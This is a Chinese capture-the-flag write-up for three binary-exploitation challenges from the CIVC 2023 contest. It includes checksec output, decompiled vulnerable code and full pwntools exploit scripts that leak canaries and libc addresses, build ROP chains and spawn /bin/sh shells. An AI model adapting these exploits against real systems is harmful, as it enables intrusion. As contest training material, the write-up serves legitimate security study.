0%

CIVC车联网2023

easyguess

1
2
3
4
5
6
easyguess: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=82ca2e649768e48e033662e11193e6e486b37089, not stripped
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
  • 32位,dynamically,NX

入侵思路

获取随机数后打栈溢出

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# -*- coding:utf-8 -*-
from pwn import *
from ctypes import *

arch = 32
challenge = './easyguess'

libc = cdll.LoadLibrary("libc.so.6")

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b *0x08048594\n")
#gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()

back_door = 0x804867A
binsh_addr = 0x8049A30
pop_edi_pop_ebp_ret = 0x080486fa

sla("You have three times",str(libc.rand()))
sl(str(libc.rand()))
sl(str(libc.rand()))

payload = "a"*24 +"b"*8 + p32(back_door) +p32(binsh_addr)
sla("to pwn it!",payload)

p.interactive()

pwn_timemaster

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.7) stable release version 2.31.
1
2
3
4
5
6
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./tools/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=671697b357d39525a86658e92e5aa52b783012ff, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
  • 64位,dynamically,Canary,NX

漏洞分析

有栈溢出,需要泄露 canary:

1
2
3
4
5
6
7
8
9
10
11
_BOOL8 ask_again()
{
char v1[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 canary; // [rsp+18h] [rbp-8h]

canary = __readfsqword(0x28u);
printf("Play again? (Y/n) ");
__isoc99_scanf("%s", v1); // 栈溢出
readuntil(10);
return v1[0] != 'n' && v1[0] != 'N';
}

入侵思路

1
2
printf("Time[sec]: ");
__isoc99_scanf("%lf", a1);

函数 scanf 可能会因为格式不同而写入失败,导致 time 不会被初始化

通过前面的函数可以调节栈指针,使局部变量 time 正好指向 canary:

1
chunk = alloca(0x10 * ((8 * time + 0x1E) / 0x10));

这样就会导致 canary 被泄露出来:

1
2
ask_time(&time);
printf("Stop the timer as close to %lf seconds as possible!\n", time);
  • PS:这里是以 double 类型泄露的,当时想现写一个函数用于“转义”,可能是中间的步骤写错了导致出来的数据很乱(浪费了不少时间)

后来看学弟用 struct.pack + binascii.hexlify 来处理数据,效果很好:

1
2
3
4
leak_addr = ru(" ")[:-1]
leak_addr = struct.pack("<d", float(leak_addr))
leak_addr = str(binascii.hexlify(leak_addr)[::-1])
success("leak_addr >> "+leak_addr)

最后的操作就比较朴素了,用 puts 来泄露 libc_base,写入并执行 ask_again 然后劫持返回地址为 system

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *

arch = 64
challenge = './pwn1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

def debug():
gdb.attach(p,"b *0x4008DB\n")
#gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
#pause()

#debug()

name = "1"
times = 16
sla("What is your name?\n> ",name)
sla("How many times do you want to try?\n> ",str(times))
sla("Time[sec]: ","\x00")
p.recvuntil("Stop the timer as close to ")
leak_addr = ru(" ")[:-1]
leak_addr = struct.pack("<d", float(leak_addr))
leak_addr = str(binascii.hexlify(leak_addr)[::-1])
success("leak_addr >> "+leak_addr)

canary = ""
for i in range(0, len(leak_addr), 2):
canary += leak_addr[i+1] + leak_addr[i]
canary = eval("0x"+canary)
success("canray >> "+hex(canary))

pop_rdi_ret = 0x0000000000400e93
ret = 0x00000000004006a6

sl('\n')
payload = "a"*0x18 + p64(canary) + "b"*0x8 + p64(pop_rdi_ret) + p64(elf.got['__libc_start_main']) + p64(0x4006D0) + p64(0x40089B)
sla('Play again? (Y/n) ',payload)
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x23fc0
success("leak_addr >>" + hex(leak_addr))
success("libc_base >> " + hex(libc_base))

system = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))

payload = "a"*0x18+ p64(canary) + "b"*0x8 + p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)
sla("Play again? (Y/n) ",payload)

p.interactive()

guess

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.
1
2
3
4
5
6
guess: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f21aadafb56dc99d5daac322fec33bd876bbbf3d, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

1
2
3
4
5
6
7
8
9
10
unsigned __int64 __fastcall start_routine(void *a1)
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("> ");
gets(buf);
return __readfsqword(0x28u) ^ v3;
}

使用了多线程,新线程的栈空间和 TLS 离得很近,可以尝试覆盖 canary

1
2
pthread_create(newthread, 0LL, (void *(*)(void *))start_routine, 0LL);
pthread_join(newthread[0], 0LL);

入侵思路

1
2
3
4
5
6
__int64 __fastcall readu(__int64 a1)
{
fflush(stdout);
__isoc99_scanf("%lu", a1);
return readr(10);
}

由于程序使用 scanf 作为输入,因此可以通过 \x00 使 scanf 输入失败,进而不会覆盖栈上的数据

1
2
3
4
5
if ( numg - 1 == indexg )
{
puts("Sorry, that was the last guess!");
printf("You entered %lu but the right number was %lu\n", input, ram);
}

然后就可以将 input 原本所占栈空间的值给泄露出来,计算偏移得到 pro_base

现在有一次栈溢出的机会,比赛时尝试了很多的方法但都失败了:

  • 不能使用 printf 泄露数据,可能是覆盖了 TLS 上的关键数据导致 printf 报错
  • 尝试万能 pop 打 csu 时发现程序使用 mov edi, r12d,导致 puts 的第一个参数写不上地址
  • 尝试回到 main start 写循环但又有莫名其妙的报错
  • 尝试执行 pthread_create 也有报错

最后发现劫持返回地址为 pro_base + 0x14D9 不会报错,并且能泄露 libc_base:

1
2
3
4
5
payload = "a"*24 + "\x00"*16 
#payload += csu(0, 1, pthread_create_got, bss_addr, 0, main_addr, csu_front_addr)
payload += p64(pop_rdi_ret)+p64(puts_got)+p64(pro_base + 0x14D9)
payload += "\x00"*0x800+"\x00"*8*8
sla("> ",payload)

最后打一个 execve("/bin/sh") 就可以了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './guess'

context.os='linux'
#context.log_level = 'debug'

if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.27.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1484)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()
size = 0x20-9
sla("Enter the size : ",str(size))
num = 2
sla("Enter the number of tries : ",str(num))
for i in range(2):
sla("Enter your guess :","\x00")

p.recvuntil("You entered ")
leak_addr = eval(p.recvuntil(" ").ljust(8,"\x00"))
pro_base = leak_addr - 0x1579
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

bss_addr = pro_base + 0x4010

pop_rdi_ret = 0x0000000000001793 + pro_base
pop_rsi_ret = 0x0000000000001791 + pro_base
pop_rbp_ret = 0x00000000000012f3 + pro_base
call_rax = 0x0000000000001014 + pro_base

csu_front_addr=0x1770+pro_base
csu_end_addr=0x178A+pro_base

print_got = 0x3F80+ pro_base
puts_got = 0x3F68 + pro_base
pthread_create_got = 0x3F60 + pro_base
main_addr = 0x15CF + pro_base

def csu(rbx, rbp, r15,r12, r13, r14, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r15 should be the function we want to call(只能是got表地址)
# rdi=edi=r12d
# rsi=r13
# rdx=r14
# csu(0, 1, fun_got, rdi, rsi, rdx, last)
payload = p64(csu_end_addr)
payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
return payload

payload = "a"*24 + "\x00"*16
#payload += csu(0, 1, pthread_create_got, bss_addr, 0, main_addr, csu_front_addr)
payload += p64(pop_rdi_ret)+p64(puts_got)+p64(pro_base + 0x14D9)
payload += "\x00"*0x800+"\x00"*8*8
sla("> ",payload)

p.recvuntil("\n")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x80970
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search("/bin/sh"))
pop_rdx_ret = libc_base + 0x0000000000001b96
pop_rax_ret = libc_base + 0x000000000001b500
syscall = libc_base + 0x0000000000002743

payload = "a"*24 + "\x00"*16
payload += p64(pop_rdi_ret)+p64(binsh_addr)
payload += p64(pop_rdx_ret)+p64(0)
payload += p64(pop_rsi_ret)+p64(0)+p64(0)
payload += p64(pop_rax_ret)+p64(59)
payload += p64(syscall)
sla("> ",payload)

p.interactive()